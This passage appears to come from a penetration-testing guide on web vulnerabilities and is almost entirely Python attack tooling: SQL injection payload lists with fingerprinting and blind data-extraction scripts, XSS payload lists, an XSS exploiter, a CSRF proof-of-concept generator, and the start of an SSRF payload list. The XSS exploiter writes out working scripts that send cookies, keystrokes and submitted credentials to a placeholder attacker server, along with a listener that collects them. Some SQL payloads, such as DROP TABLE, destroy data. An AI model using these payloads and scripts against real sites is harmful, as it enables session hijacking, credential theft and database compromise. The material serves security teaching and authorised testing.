'details': 'KID header may be vulnerable to injection',
'examples': kid_test[:2]
})
report['recommendations'].append("Validate and sanitize KID values")
# Test JWK injection
jwk_test = self.test_jwk_injection(token)
if jwk_test and 'injection_points' in jwk_test:
report['vulnerabilities'].append({
'type': 'jwk_injection',
'details': f"JWK-related headers present: {jwk_test['injection_points']}"
})
report['recommendations'].append("Validate JWK/JKU URLs against whitelist")
# Calculate risk score
risk_score = len(report['vulnerabilities']) * 20
if risk_score > 100:
risk_score = 100
report['risk_score'] = risk_score
report['risk_level'] = self.get_risk_level(risk_score)
return report
def get_risk_level(self, score):
"""Convert risk score to level"""
if score >= 80:
return 'Critical'
elif score >= 60:
return 'High'
elif score >= 40:
return 'Medium'
elif score >= 20:
return 'Low'
else:
return 'Info'
# Example usage
tester = JWTTester()
# Example JWT token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
report = tester.generate_report(
token,
'https://api.example.com/protected',
public_key='-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----',
wordlist='/usr/share/wordlists/rockyou.txt'
)
print(json.dumps(report, indent=2))Web vulnerabilities represent the most common attack vectors against modern applications. Understanding these vulnerabilities in depth is essential for both identifying and exploiting them during penetration tests, as well as for implementing proper defenses.
SQL Injection (SQLi) remains one of the most critical and prevalent web application vulnerabilities, allowing attackers to interfere with the queries an application makes to its database.
SQL injection occurs when user input is incorrectly filtered for SQL statements or dynamically incorporated into SQL queries without proper sanitization.
Types of SQL Injection:
#!/usr/bin/env python3
# sqli_types.py
class SQLITypes:
def __init__(self):
self.vulnerable_patterns = {
'in-band': 'Classic SQLi where data is retrieved in the same channel',
'error-based': 'Using error messages to extract information',
'union-based': 'Using UNION operator to combine queries',
'blind-boolean': 'Inferring information based on true/false responses',
'blind-time': 'Inferring information based on response delays',
'out-of-band': 'Using alternative channels (DNS, HTTP requests) to extract data'
}
def error_based_payloads(self):
"""Generate error-based SQL injection payloads"""
return [
"'",
"\"",
"')",
"'))",
"\'))",
"' OR '1'='1",
"' OR '1'='1'--",
"' OR '1'='1'#",
"' OR 1=1--",
"' OR 1=1#",
"' OR 1=1 LIMIT 1--",
"admin'--",
"admin' #",
"admin'/*",
"' UNION SELECT null--",
"' UNION SELECT null,null--",
"' UNION SELECT null,null,null--",
"'; DROP TABLE users--",
"' AND 1=CONVERT(int, @@version)--",
"' AND 1=CAST(@@version AS int)--"
]
def union_based_payloads(self):
"""Generate UNION-based SQL injection payloads"""
return [
"' UNION SELECT 1,2,3--",
"' UNION SELECT 1,2,3,4--",
"' UNION SELECT 1,2,3,4,5--",
"' UNION SELECT NULL,NULL,NULL--",
"' UNION SELECT NULL,NULL,NULL,NULL--",
"' UNION ALL SELECT 1,2,3--",
"\" UNION SELECT 1,2,3--",
"') UNION SELECT 1,2,3--",
"')) UNION SELECT 1,2,3--",
"'; UNION SELECT 1,2,3--",
"' UNION SELECT 1,@@version,3--",
"' UNION SELECT 1,user(),3--",
"' UNION SELECT 1,database(),3--",
"' UNION SELECT 1,table_name,3 FROM information_schema.tables--"
]
def blind_boolean_payloads(self):
"""Generate blind boolean-based SQL injection payloads"""
return [
"' AND '1'='1",
"' AND '1'='2",
"' AND 1=1--",
"' AND 1=2--",
"' OR '1'='1'",
"' OR '1'='2'",
"' OR 1=1--",
"' OR 1=2--",
"' AND SUBSTRING(@@version,1,1)='1'",
"' AND ASCII(SUBSTRING(@@version,1,1))>100",
"' AND (SELECT COUNT(*) FROM users)>0",
"' AND EXISTS(SELECT * FROM users)"
]
def blind_time_payloads(self):
"""Generate blind time-based SQL injection payloads"""
return [
"'; WAITFOR DELAY '0:0:5'--",
"'; WAITFOR DELAY '0:0:5'--",
"' OR SLEEP(5)--",
"' OR SLEEP(5) AND '1'='1",
"' AND SLEEP(5)--",
"'; SELECT pg_sleep(5)--",
"' OR pg_sleep(5)--",
"' AND pg_sleep(5)--",
"' OR BENCHMARK(1000000,MD5('a'))--",
"' AND BENCHMARK(1000000,MD5('a'))--",
"' OR (SELECT * FROM (SELECT(SLEEP(5)))a)--"
]
class SQLIDetector:
def __init__(self, target_url, param_name):
self.target_url = target_url
self.param_name = param_name
self.vulnerabilities = []
self.dbms_type = None
def test_error_based(self, payloads):
"""Test for error-based SQL injection"""
import requests
for payload in payloads:
test_url = f"{self.target_url}?{self.param_name}={payload}"
try:
response = requests.get(test_url, timeout=5)
# Check for database error messages
error_indicators = [
"SQL syntax",
"mysql_fetch",
"ORA-",
"PostgreSQL",
"SQLite",
"unclosed quotation mark",
"Microsoft OLE DB",
"Incorrect syntax near",
"Unclosed quotation mark",
"You have an error in your SQL syntax",
"Warning: mysql_",
"Division by zero",
"Unknown column",
"driver error"
]
for indicator in error_indicators:
if indicator.lower() in response.text.lower():
self.vulnerabilities.append({
'type': 'error-based',
'payload': payload,
'indicator': indicator,
'url': test_url
})
break
except Exception as e:
print(f"Error testing {payload}: {e}")
def test_union_based(self, payloads):
"""Test for UNION-based SQL injection"""
import requests
for payload in payloads:
test_url = f"{self.target_url}?{self.param_name}={payload}"
try:
response = requests.get(test_url, timeout=5)
# Look for increased column count or data extraction
if "2" in response.text or "3" in response.text:
# This is a simplistic check - actual detection is more complex
self.vulnerabilities.append({
'type': 'union-based',
'payload': payload,
'url': test_url
})
except:
pass
def test_blind_boolean(self, payloads):
"""Test for blind boolean-based SQL injection"""
import requests
# Get baseline response
baseline = requests.get(f"{self.target_url}?{self.param_name}=1")
baseline_length = len(baseline.text)
for payload in payloads:
test_url = f"{self.target_url}?{self.param_name}={payload}"
try:
response = requests.get(test_url, timeout=5)
# Compare with baseline
if abs(len(response.text) - baseline_length) > 10:
self.vulnerabilities.append({
'type': 'blind-boolean',
'payload': payload,
'url': test_url
})
except:
pass
def test_blind_time(self, payloads):
"""Test for blind time-based SQL injection"""
import requests
import time
for payload in payloads:
test_url = f"{self.target_url}?{self.param_name}={payload}"
try:
start_time = time.time()
response = requests.get(test_url, timeout=10)
elapsed = time.time() - start_time
if elapsed > 5: # Significant delay
self.vulnerabilities.append({
'type': 'blind-time',
'payload': payload,
'delay': elapsed,
'url': test_url
})
except requests.Timeout:
self.vulnerabilities.append({
'type': 'blind-time',
'payload': payload,
'delay': 'timeout',
'url': test_url
})
except:
pass
# Example usage
sqli_types = SQLITypes()
detector = SQLIDetector('https://example.com/search', 'q')
print("[*] Testing error-based SQL injection...")
detector.test_error_based(sqli_types.error_based_payloads())
print("[*] Testing blind boolean injection...")
detector.test_blind_boolean(sqli_types.blind_boolean_payloads())
if detector.vulnerabilities:
print(f"\n[!] Found {len(detector.vulnerabilities)} potential SQL injection vulnerabilities:")
for vuln in detector.vulnerabilities:
print(f" - {vuln['type']}: {vuln['url']}")Database Fingerprinting:
#!/usr/bin/env python3
# db_fingerprinting.py
import requests
import time
class DatabaseFingerprinter:
def __init__(self, target_url, param_name):
self.target_url = target_url
self.param_name = param_name
self.db_type = None
def fingerprint_by_errors(self):
"""Identify database type by error messages"""
db_patterns = {
'MySQL': [
"You have an error in your SQL syntax",
"MySQLSyntaxErrorException",
"com.mysql.jdbc",
"MariaDB"
],
'PostgreSQL': [
"PostgreSQL",
"psycopg2",
"PG::SyntaxError",
"ERROR: syntax error at or near",
"driver for PostgreSQL"
],
'Oracle': [
"ORA-",
"Oracle",
"oracle.jdbc",
"PL/SQL"
],
'MSSQL': [
"Microsoft OLE DB",
"Microsoft SQL Server",
"SQLServer JDBC",
"com.microsoft.sqlserver",
"Incorrect syntax near"
],
'SQLite': [
"SQLite",
"sqlite3",
"unable to open database file"
]
}
test_payloads = ["'", "\"", "')", "\"))", "'--"]
for payload in test_payloads:
url = f"{self.target_url}?{self.param_name}={payload}"
try:
response = requests.get(url, timeout=5)
for db, patterns in db_patterns.items():
for pattern in patterns:
if pattern.lower() in response.text.lower():
self.db_type = db
return {
'database': db,
'method': 'error_message',
'payload': payload,
'pattern': pattern
}
except:
pass
return None
def fingerprint_by_functions(self):
"""Identify database by version functions"""
db_tests = {
'MySQL': ["@@version", "version()", "now()"],
'PostgreSQL': ["version()", "current_database()", "pg_sleep(1)"],
'Oracle': ["v$version", "sysdate", "dbms_random.value"],
'MSSQL': ["@@version", "getdate()", "db_name()"],
'SQLite': ["sqlite_version()", "date('now')"]
}
results = {}
for db, functions in db_tests.items():
for func in functions:
payload = f"' AND (SELECT {func}) IS NOT NULL--"
url = f"{self.target_url}?{self.param_name}={payload}"
try:
response = requests.get(url, timeout=5)
# Check if function was executed (no error)
if "error" not in response.text.lower():
if db not in results:
results[db] = 0
results[db] += 1
except:
pass
if results:
self.db_type = max(results, key=results.get)
return {
'database': self.db_type,
'method': 'function_test',
'scores': results
}
return None
def fingerprint_by_time_delays(self):
"""Identify database by sleep function behavior"""
db_sleep = {
'MySQL': "SLEEP(3)",
'PostgreSQL': "pg_sleep(3)",
'MSSQL': "WAITFOR DELAY '0:0:3'",
'Oracle': "DBMS_LOCK.SLEEP(3)"
}
baseline_time = None
for db, sleep_func in db_sleep.items():
payload = f"'; {sleep_func}--"
url = f"{self.target_url}?{self.param_name}={payload}"
try:
start_time = time.time()
response = requests.get(url, timeout=10)
elapsed = time.time() - start_time
if baseline_time is None:
baseline_time = elapsed
if elapsed > baseline_time + 2: # Significant delay
return {
'database': db,
'method': 'time_delay',
'delay': elapsed,
'function': sleep_func
}
except requests.Timeout:
return {
'database': db,
'method': 'time_delay',
'delay': 'timeout',
'function': sleep_func
}
except:
pass
return None
def fingerprint_by_comment_syntax(self):
"""Identify database by comment syntax"""
comment_tests = {
'MySQL': ["-- ", "#", "/*! */"],
'PostgreSQL': ["--"],
'Oracle': ["--"],
'MSSQL': ["--", "/* */"]
}
base_payload = "' OR 1=1"
for db, comments in comment_tests.items():
for comment in comments:
payload = f"{base_payload}{comment}"
url = f"{self.target_url}?{self.param_name}={payload}"
try:
response = requests.get(url, timeout=5)
# If comment works, should return results
if "error" not in response.text.lower():
return {
'database': db,
'method': 'comment_syntax',
'comment': comment
}
except:
pass
return None
def fingerprint(self):
"""Run all fingerprinting techniques"""
methods = [
self.fingerprint_by_errors,
self.fingerprint_by_functions,
self.fingerprint_by_time_delays,
self.fingerprint_by_comment_syntax
]
for method in methods:
result = method()
if result:
print(f"[+] Database identified: {result['database']} via {result['method']}")
return result
print("[-] Could not identify database type")
return None
# Example usage
fingerprinter = DatabaseFingerprinter('https://example.com/search', 'q')
result = fingerprinter.fingerprint()Data Extraction with SQL Injection:
#!/usr/bin/env python3
# sqli_extractor.py
import requests
import string
import time
class SQLIExtractor:
def __init__(self, target_url, param_name, db_type='mysql'):
self.target_url = target_url
self.param_name = param_name
self.db_type = db_type
def extract_database_names(self):
"""Extract database names"""
if self.db_type == 'mysql':
return self.extract_mysql_databases()
elif self.db_type == 'postgresql':
return self.extract_postgresql_databases()
elif self.db_type == 'mssql':
return self.extract_mssql_databases()
else:
return []
def extract_mysql_databases(self):
"""Extract database names from MySQL"""
databases = []
# Get number of databases
count_payload = f"' UNION SELECT COUNT(schema_name) FROM information_schema.schemata--"
url = f"{self.target_url}?{self.param_name}={count_payload}"
try:
response = requests.get(url)
# Parse count from response (simplified)
# In real scenario, would need to extract from HTML
# Extract database names character by character
for i in range(1, 10): # Assume max 10 databases
db_name = self.extract_string(
f"SELECT schema_name FROM information_schema.schemata LIMIT {i-1},1"
)
if db_name:
databases.append(db_name)
except Exception as e:
print(f"Error: {e}")
return databases
def extract_string(self, query):
"""Extract string using blind boolean technique"""
result = ""
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_"
for position in range(1, 50): # Max length 50
found = False
for char in charset:
# Blind boolean payload
payload = f"' AND ASCII(SUBSTRING(({query}),{position},1))={ord(char)}--"
url = f"{self.target_url}?{self.param_name}={payload}"
try:
response = requests.get(url)
# Compare with baseline (true condition)
true_payload = f"' AND 1=1--"
true_url = f"{self.target_url}?{self.param_name}={true_payload}"
true_response = requests.get(true_url)
if len(response.text) == len(true_response.text):
result += char
found = True
print(f" Found: {result}")
break
except:
pass
if not found:
break
return result if result else None
def extract_time_based(self, query, delay=3):
"""Extract data using time-based technique"""
result = ""
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits
for position in range(1, 50):
for char in charset:
# Time-based payload
if self.db_type == 'mysql':
payload = f"' AND IF(ASCII(SUBSTRING(({query}),{position},1))={ord(char)},SLEEP({delay}),0)--"
elif self.db_type == 'postgresql':
payload = f"' AND CASE WHEN ASCII(SUBSTRING(({query}),{position},1))={ord(char)} THEN pg_sleep({delay}) ELSE 0 END--"
elif self.db_type == 'mssql':
payload = f"'; IF ASCII(SUBSTRING(({query}),{position},1))={ord(char)} WAITFOR DELAY '0:0:{delay}'--"
else:
return None
url = f"{self.target_url}?{self.param_name}={payload}"
try:
start_time = time.time()
response = requests.get(url, timeout=delay+2)
elapsed = time.time() - start_time
if elapsed >= delay:
result += char
print(f" Found: {result}")
break
except requests.Timeout:
result += char
print(f" Found: {result}")
break
except:
pass
return result if result else None
# Example usage
extractor = SQLIExtractor('https://example.com/search', 'q', 'mysql')
databases = extractor.extract_database_names()
print(f"[+] Found databases: {databases}")XSS allows attackers to inject malicious scripts into web pages viewed by other users, leading to session hijacking, credential theft, and other attacks.
#!/usr/bin/env python3
# xss_detector.py
import requests
import re
from urllib.parse import quote, urljoin
class XSSDetector:
def __init__(self):
self.xss_types = {
'reflected': 'Script executes immediately, comes from current request',
'stored': 'Script stored on server, affects all users',
'dom-based': 'Vulnerability in client-side code, not server response'
}
def generate_payloads(self):
"""Generate XSS test payloads"""
return {
'basic': [
'<script>alert("XSS")</script>',
'<script>alert(1)</script>',
'"><script>alert(1)</script>',
'\'><script>alert(1)</script>',
'</script><script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
'<body onload=alert(1)>',
'<input autofocus onfocus=alert(1)>',
'<details open ontoggle=alert(1)>'
],
'obfuscated': [
'<ScRiPt>alert(1)</ScRiPt>',
'<script>\u0061lert(1)</script>',
'<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>',
'<script>window["al"+"ert"](1)</script>',
'<a href="javascript:alert(1)">click</a>',
'<iframe src="javascript:alert(1)">',
'<img src="x" onerror="alert(1)">',
'<script>setTimeout("alert(1)", 1000)</script>'
],
'polyglot': [
'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */oNcliCk=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3dsvg/onload=alert(1)//',
'"><img src=x onerror=alert(1)>',
'javascript:/*--></title></script></textarea></style></noscript></noembed></template></frameset>"><svg onload=alert(1)>'
],
'event_handlers': [
'onload=alert(1)',
'onerror=alert(1)',
'onclick=alert(1)',
'onmouseover=alert(1)',
'onfocus=alert(1)',
'onblur=alert(1)',
'onchange=alert(1)',
'onsubmit=alert(1)',
'onreset=alert(1)',
'onselect=alert(1)',
'onkeydown=alert(1)',
'onkeypress=alert(1)',
'onkeyup=alert(1)'
],
'bypass_attempts': [
'<scr<script>ipt>alert(1)</scr</script>ipt>',
'<<script>alert(1)</script>',
'<script>alert(1)</script',
'<script>alert(1)//</script>',
'<script>alert(1)</script \n>',
'<script>alert(1)</script >',
'<script>alert(1)</script x>',
'<script>alert(1)</script+>',
'<script>alert(1)//<![CDATA[',
'<script>alert(1)</script -->',
'<!--><script>alert(1)</script>',
'<script>alert(1)</script><!--'
],
'context_specific': [
# For attribute values
'" onmouseover="alert(1)',
"' onmouseover='alert(1)",
# For URL parameters
'javascript:alert(1)',
# For CSS
'</style><script>alert(1)</script>',
# For comments
'--><script>alert(1)</script>',
# For JSON
'"-alert(1)-"',
# For template literals
'${alert(1)}'
]
}
def test_reflected_xss(self, url, param_name, payloads):
"""Test for reflected XSS"""
results = []
for payload in payloads:
encoded_payload = quote(payload)
test_url = f"{url}?{param_name}={encoded_payload}"
try:
response = requests.get(test_url, timeout=5)
# Check if payload is reflected in response
if payload in response.text:
results.append({
'type': 'reflected',
'url': test_url,
'payload': payload,
'reflected': True,
'context': self.analyze_context(payload, response.text)
})
# Check for proper HTML context
if self.is_executable_context(payload, response.text):
results[-1]['executable'] = True
except Exception as e:
print(f"Error testing {payload}: {e}")
return results
def test_stored_xss(self, submit_url, param_name, payloads, verify_url):
"""Test for stored XSS"""
results = []
for payload in payloads:
try:
# Submit payload
data = {param_name: payload}
response = requests.post(submit_url, data=data)
# Check if payload is stored
verify_response = requests.get(verify_url)
if payload in verify_response.text:
results.append({
'type': 'stored',
'payload': payload,
'submit_url': submit_url,
'verify_url': verify_url,
'reflected': True,
'context': self.analyze_context(payload, verify_response.text)
})
except Exception as e:
print(f"Error testing {payload}: {e}")
return results
def test_dom_xss(self, url, param_name, payloads):
"""Basic DOM XSS detection"""
results = []
# DOM XSS often requires JavaScript execution to detect
# This is a simplified version checking for potential sinks
dom_sinks = [
'document.write',
'innerHTML',
'outerHTML',
'eval',
'setTimeout',
'setInterval',
'location',
'location.href',
'location.replace',
'document.cookie'
]
for payload in payloads:
encoded_payload = quote(payload)
test_url = f"{url}?{param_name}={encoded_payload}"
try:
response = requests.get(test_url)
# Look for DOM sinks in JavaScript
for sink in dom_sinks:
if sink in response.text:
results.append({
'type': 'dom-based',
'url': test_url,
'payload': payload,
'potential_sink': sink,
'requires_manual': True
})
break
except Exception as e:
print(f"Error: {e}")
return results
def analyze_context(self, payload, response_text):
"""Analyze where payload appears in response"""
context = {
'html_context': None,
'surrounded_by': None,
'encoding': None
}
# Find payload position
position = response_text.find(payload)
if position == -1:
return context
# Check surrounding characters
start = max(0, position - 50)
end = min(len(response_text), position + len(payload) + 50)
context_snippet = response_text[start:end]
# Determine context
if re.search(r'<script[^>]*>.*?' + re.escape(payload) + r'.*?</script>', response_text, re.DOTALL | re.IGNORECASE):
context['html_context'] = 'script'
elif re.search(r'<[^>]*' + re.escape(payload) + r'[^>]*>', response_text):
context['html_context'] = 'tag_attribute'
elif re.search(r'<!--.*?' + re.escape(payload) + r'.*?-->', response_text, re.DOTALL):
context['html_context'] = 'comment'
elif re.search(r'<style[^>]*>.*?' + re.escape(payload) + r'.*?</style>', response_text, re.DOTALL | re.IGNORECASE):
context['html_context'] = 'css'
else:
context['html_context'] = 'html_body'
# Check for HTML encoding
if '<' in context_snippet and '>' in context_snippet:
context['encoding'] = 'html_encoded'
elif '\\u' in context_snippet or '\\x' in context_snippet:
context['encoding'] = 'unicode_escape'
context['snippet'] = context_snippet
return context
def is_executable_context(self, payload, response_text):
"""Check if payload appears in executable context"""
executable_patterns = [
r'<script[^>]*>.*?' + re.escape(payload) + r'.*?</script>',
r'on\w+\s*=\s*["\']?[^"\']*' + re.escape(payload) + r'[^"\']*',
r'href\s*=\s*["\']?javascript:.*?' + re.escape(payload),
r'src\s*=\s*["\']?javascript:.*?' + re.escape(payload)
]
for pattern in executable_patterns:
if re.search(pattern, response_text, re.DOTALL | re.IGNORECASE):
return True
return False
# Example usage
detector = XSSDetector()
payloads = detector.generate_payloads()
# Test for reflected XSS
results = detector.test_reflected_xss(
'https://example.com/search',
'q',
payloads['basic'] + payloads['obfuscated']
)
print(f"\n[+] Found {len(results)} potential XSS vulnerabilities:")
for result in results:
print(f" - {result['type']}: {result['url']}")
print(f" Context: {result['context']['html_context']}")
if result.get('executable'):
print(f" [!] Appears executable!")#!/usr/bin/env python3
# xss_exploitation.py
import requests
import base64
import json
from urllib.parse import quote
class XSSExploiter:
def __init__(self, target_url, param_name):
self.target_url = target_url
self.param_name = param_name
def generate_session_hijacking_payload(self, attacker_server):
"""Generate payload to steal session cookies"""
payload = f"""
<script>
var img = new Image();
img.src = '{attacker_server}/steal?cookie=' + document.cookie +
'&url=' + encodeURIComponent(window.location.href) +
'&referrer=' + encodeURIComponent(document.referrer);
</script>
"""
return {
'payload': payload.strip(),
'type': 'session_hijacking',
'description': 'Steals cookies and sends to attacker server'
}
def generate_keylogger_payload(self, attacker_server):
"""Generate keylogger payload"""
payload = f"""
<script>
document.addEventListener('keydown', function(e) {{
var img = new Image();
img.src = '{attacker_server}/keylog?key=' +
encodeURIComponent(e.key) +
'×tamp=' + Date.now();
}});
</script>
"""
return {
'payload': payload.strip(),
'type': 'keylogger',
'description': 'Logs all keystrokes'
}
def generate_credential_harvesting_payload(self, attacker_server, login_form_selector='#login-form'):
"""Generate payload to harvest credentials"""
payload = f"""
<script>
document.addEventListener('submit', function(e) {{
var form = e.target;
var data = {{}};
for (var i = 0; i < form.elements.length; i++) {{
var element = form.elements[i];
if (element.name) {{
data[element.name] = element.value;
}}
}}
fetch('{attacker_server}/steal', {{
method: 'POST',
body: JSON.stringify(data),
headers: {{'Content-Type': 'application/json'}}
}});
}});
</script>
"""
return {
'payload': payload.strip(),
'type': 'credential_harvesting',
'description': 'Steals form submissions'
}
def generate_port_scan_payload(self):
"""Generate internal port scanner using XSS"""
payload = """
<script>
function scanPort(ip, port) {
var img = new Image();
img.onerror = function() {
console.log('Port ' + port + ' is open?');
// Report back
};
img.onload = function() {
console.log('Port ' + port + ' might be open');
};
img.src = 'http://' + ip + ':' + port;
}
// Scan common internal IPs and ports
var ips = ['192.168.1.1', '192.168.0.1', '10.0.0.1'];
var ports = [80, 443, 22, 3306, 5432, 8080];
for (var i = 0; i < ips.length; i++) {
for (var j = 0; j < ports.length; j++) {
setTimeout(scanPort, j * 100, ips[i], ports[j]);
}
}
</script>
"""
return {
'payload': payload.strip(),
'type': 'port_scan',
'description': 'Scans internal network'
}
def generate_beef_hook_payload(self, beef_url='http://localhost:3000/hook.js'):
"""Generate BeEF hook payload"""
payload = f'<script src="{beef_url}"></script>'
return {
'payload': payload,
'type': 'beef_hook',
'description': 'Hooks browser into BeEF framework'
}
def generate_polyglot_payload(self):
"""Generate polyglot XSS payload for multiple contexts"""
payload = """
/*<?php/**/javascript:*/alert(1)//\
--><!--></textarea></script><svg/onload=alert(1) src=//\
'">' onmouseover=alert(1) '>
<img src=x onerror=alert(1)>
"""
return {
'payload': payload.strip(),
'type': 'polyglot',
'description': 'Works in multiple contexts'
}
def test_payload(self, payload, additional_params=None):
"""Test if payload executes"""
encoded_payload = quote(payload)
test_url = f"{self.target_url}?{self.param_name}={encoded_payload}"
if additional_params:
for key, value in additional_params.items():
test_url += f"&{key}={quote(value)}"
try:
response = requests.get(test_url)
# Check if payload reflected
if payload in response.text:
return {
'url': test_url,
'status_code': response.status_code,
'payload_reflected': True,
'length': len(response.text)
}
except Exception as e:
return {'error': str(e)}
return None
def create_steal_server(self):
"""Simple HTTP server to steal data"""
from http.server import HTTPServer, BaseHTTPRequestHandler
class StealHandler(BaseHTTPRequestHandler):
def do_GET(self):
print(f"[+] Received: {self.path}")
self.send_response(200)
self.end_headers()
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print(f"[+] Received POST: {post_data.decode('utf-8', errors='ignore')}")
self.send_response(200)
self.end_headers()
server = HTTPServer(('0.0.0.0', 8080), StealHandler)
print("[*] Starting steal server on port 8080...")
server.serve_forever()
# Example usage
exploiter = XSSExploiter('https://example.com/search', 'q')
# Generate different payloads
payloads = [
exploiter.generate_session_hijacking_payload('http://attacker.com'),
exploiter.generate_beef_hook_payload(),
exploiter.generate_keylogger_payload('http://attacker.com'),
exploiter.generate_port_scan_payload()
]
# Test payloads
for payload_info in payloads:
print(f"\n[*] Testing {payload_info['type']} payload...")
result = exploiter.test_payload(payload_info['payload'])
if result and result.get('payload_reflected'):
print(f" [+] Payload reflected! URL: {result['url']}")CSRF attacks force authenticated users to execute unwanted actions on web applications where they're currently authenticated.
#!/usr/bin/env python3
# csrf_tester.py
import requests
import re
from urllib.parse import urlparse, parse_qs
class CSRFTester:
def __init__(self, target_url, session_cookie=None):
self.target_url = target_url
self.session_cookie = session_cookie
self.session = requests.Session()
if session_cookie:
self.session.cookies.update(session_cookie)
def check_csrf_token_presence(self, form_url):
"""Check if forms contain CSRF tokens"""
try:
response = self.session.get(form_url)
csrf_indicators = [
'csrf',
'token',
'_token',
'authenticity_token',
'csrfmiddlewaretoken',
'csrf_token',
'__RequestVerificationToken',
'nonce',
'xsrf'
]
found_tokens = []
for indicator in csrf_indicators:
if indicator in response.text.lower():
# Look for input fields with these names
pattern = f'<input[^>]*name=["\']([^"\']*{indicator}[^"\']*)["\'][^>]*>'
matches = re.findall(pattern, response.text, re.IGNORECASE)
for match in matches:
found_tokens.append({
'name': match,
'in_form': True
})
return {
'has_csrf_tokens': len(found_tokens) > 0,
'tokens': found_tokens,
'url': form_url
}
except Exception as e:
return {'error': str(e)}
def test_same_origin_policy(self, action_url):
"""Test if requests validate origin/referer headers"""
test_cases = [
{
'name': 'Same Origin',
'origin': urlparse(self.target_url).netloc,
'referer': self.target_url,
'expected': 200
},
{
'name': 'Different Origin',
'origin': 'evil.com',
'referer': 'https://evil.com',
'expected': 403
},
{
'name': 'No Referer',
'origin': None,
'referer': None,
'expected': 403
},
{
'name': 'Spoofed Origin',
'origin': urlparse(self.target_url).netloc,
'referer': 'https://evil.com',
'expected': 403
}
]
results = []
for test in test_cases:
headers = {}
if test['origin']:
headers['Origin'] = test['origin']
if test['referer']:
headers['Referer'] = test['referer']
try:
response = self.session.get(action_url, headers=headers)
results.append({
'test': test['name'],
'status_code': response.status_code,
'vulnerable': response.status_code == test['expected'] and test['expected'] == 200,
'headers_sent': headers
})
except Exception as e:
results.append({
'test': test['name'],
'error': str(e)
})
return results
def generate_csrf_poc(self, form_data, action_url, method='POST'):
"""Generate CSRF proof of concept HTML"""
html = f"""
<!DOCTYPE html>
<html>
<head>
<title>CSRF Proof of Concept</title>
</head>
<body>
<h1>CSRF Exploit</h1>
<p>This form will automatically submit a request to {action_url}</p>
<form id="csrfForm" action="{action_url}" method="{method}">
"""
for name, value in form_data.items():
html += f' <input type="hidden" name="{name}" value="{value}">\n'
html += """
</form>
<script>
// Auto-submit the form
document.getElementById('csrfForm').submit();
</script>
<noscript>
<button onclick="document.getElementById('csrfForm').submit()">
Click here to submit (JavaScript required for auto-submit)
</button>
</noscript>
</body>
</html>
"""
return html
def test_csrf_vulnerability(self, form_url, action_url, form_data):
"""Test for CSRF vulnerability"""
results = {
'csrf_token_check': self.check_csrf_token_presence(form_url),
'origin_validation': self.test_same_origin_policy(action_url),
'csrf_vulnerable': False,
'recommendations': []
}
# Determine if vulnerable
token_check = results['csrf_token_check']
if not token_check.get('has_csrf_tokens', True):
# No CSRF tokens found
results['csrf_vulnerable'] = True
results['recommendations'].append("Implement anti-CSRF tokens in all state-changing forms")
# Check origin validation
for test in results['origin_validation']:
if test.get('vulnerable') and test['test'] in ['Different Origin', 'No Referer', 'Spoofed Origin']:
results['csrf_vulnerable'] = True
results['recommendations'].append("Validate Origin and Referer headers")
break
# Try to generate a successful CSRF request
try:
# Create a new session (simulating victim)
victim_session = requests.Session()
# First, victim logs in (simulated)
# In real testing, you'd have the victim authenticated
# Then, attacker's forged request
forged_response = victim_session.post(action_url, data=form_data)
results['forged_request_status'] = forged_response.status_code
if forged_response.status_code == 200:
results['csrf_vulnerable'] = True
results['recommendations'].append("Action successfully executed without valid CSRF token")
except Exception as e:
results['forged_request_error'] = str(e)
return results
def test_csrf_on_all_forms(self, base_url):
"""Test all forms on a page for CSRF"""
try:
response = self.session.get(base_url)
# Find all forms
form_pattern = r'<form[^>]*action=["\']([^"\']*)["\'][^>]*>(.*?)</form>'
forms = re.findall(form_pattern, response.text, re.DOTALL | re.IGNORECASE)
results = []
for action, form_content in forms:
# Resolve relative URLs
if not action.startswith('http'):
action = requests.compat.urljoin(base_url, action)
# Find all inputs
input_pattern = r'<input[^>]*name=["\']([^"\']*)["\'][^>]*>'
inputs = re.findall(input_pattern, form_content)
# Find method
method_pattern = r'method=["\']([^"\']*)["\']'
method_match = re.search(method_pattern, form_content, re.IGNORECASE)
method = method_match.group(1) if method_match else 'GET'
# Prepare form data (with example values)
form_data = {}
for input_name in inputs:
if input_name not in ['submit', 'button']:
form_data[input_name] = 'test_value'
# Test this form
form_result = self.test_csrf_vulnerability(base_url, action, form_data)
form_result['form_action'] = action
form_result['form_method'] = method
results.append(form_result)
return results
except Exception as e:
return {'error': str(e)}
# Example usage
tester = CSRFTester('https://example.com', {'session': 'victim_session_cookie'})
# Test a specific form
result = tester.test_csrf_vulnerability(
'https://example.com/profile',
'https://example.com/update-profile',
{'email': 'attacker@evil.com', 'name': 'Hacked'}
)
print(json.dumps(result, indent=2))
if result['csrf_vulnerable']:
print("\n[!] CSRF vulnerability detected!")
poc = tester.generate_csrf_poc(
{'email': 'attacker@evil.com', 'name': 'Hacked'},
'https://example.com/update-profile'
)
with open('csrf_poc.html', 'w') as f:
f.write(poc)
print("[+] CSRF PoC saved to csrf_poc.html")SSRF allows attackers to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.
#!/usr/bin/env python3
# ssrf_tester.py
import requests
import socket
import ipaddress
from urllib.parse import urlparse, urljoin
class SSRFTester:
def __init__(self, target_url, param_name, method='GET'):
self.target_url = target_url
self.param_name = param_name
self.method = method
self.vulnerabilities = []
def generate_payloads(self):
"""Generate SSRF test payloads"""
return {
'local': [
'http://127.0.0.1',
'http://localhost',
'http://[::1]',
'http://0.0.0.0',
'http://0',
'http://127.0.0.1:22',
'http://127.0.0.1:80',
'http://127.0.0.1:443',
'http://127.0.0.1:3306',
'http://127.0.0.1:5432',
'http://127.0.0.1:6379',
'http://127.0.0.1:9200',
'http://127.0.0.1:27017',
'http://127.0.0.1:8080',
'https://localhost',
